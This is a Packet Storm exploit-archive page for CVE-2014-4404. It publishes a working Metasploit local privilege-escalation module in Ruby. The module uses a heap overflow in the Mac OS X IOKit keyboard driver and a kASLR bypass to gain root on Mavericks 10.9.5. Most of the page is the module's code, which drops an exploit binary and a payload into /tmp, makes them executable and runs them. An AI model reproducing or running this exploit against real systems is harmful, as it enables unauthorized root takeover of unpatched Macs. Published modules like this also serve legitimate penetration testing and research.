exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Mac OS X IOKit Keyboard Driver Root Privilege Escalation

Mac OS X IOKit Keyboard Driver Root Privilege Escalation
Posted Dec 2, 2014
Authored by joev, Ian Beer | Site metasploit.com

A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel pointers can also be leaked, allowing a full kASLR bypass. Tested on Mavericks 10.9.5, and should work on previous versions. The issue has been patched silently in Yosemite.

tags | exploit, overflow, kernel
systems | apple, osx
advisories | CVE-2014-4404
SHA-256 | 11133f34a345562636b3137fbe3bb6e9f2ec2aa4045b1360d1b0885244f3d580

Mac OS X IOKit Keyboard Driver Root Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
Rank = ManualRanking # Can cause kernel crash

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
'Description' => %q{
A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
pointers can also be leaked, allowing a full kASLR bypass.

Tested on Mavericks 10.9.5, and should work on previous versions.

The issue has been patched silently in Yosemite.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
'joev' # copy/paste monkey
],
'References' =>
[
[ 'CVE', '2014-4404' ],
[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
# Heap overflow:
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
# kALSR defeat:
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
],
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
end

def check
if ver_lt(osx_ver, "10.10")
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

print_status("Writing exploit file as '#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)

print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)

print_status("Executing payload...")
cmd_exec("chmod +x #{exploit_file}")
cmd_exec("chmod +x #{payload_file}")
cmd_exec("#{exploit_file} #{payload_file}")
end

def osx_ver
cmd_exec("sw_vers -productVersion").to_s.strip
end

def ver_lt(a, b)
Gem::Version.new(a) < Gem::Version.new(b)
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close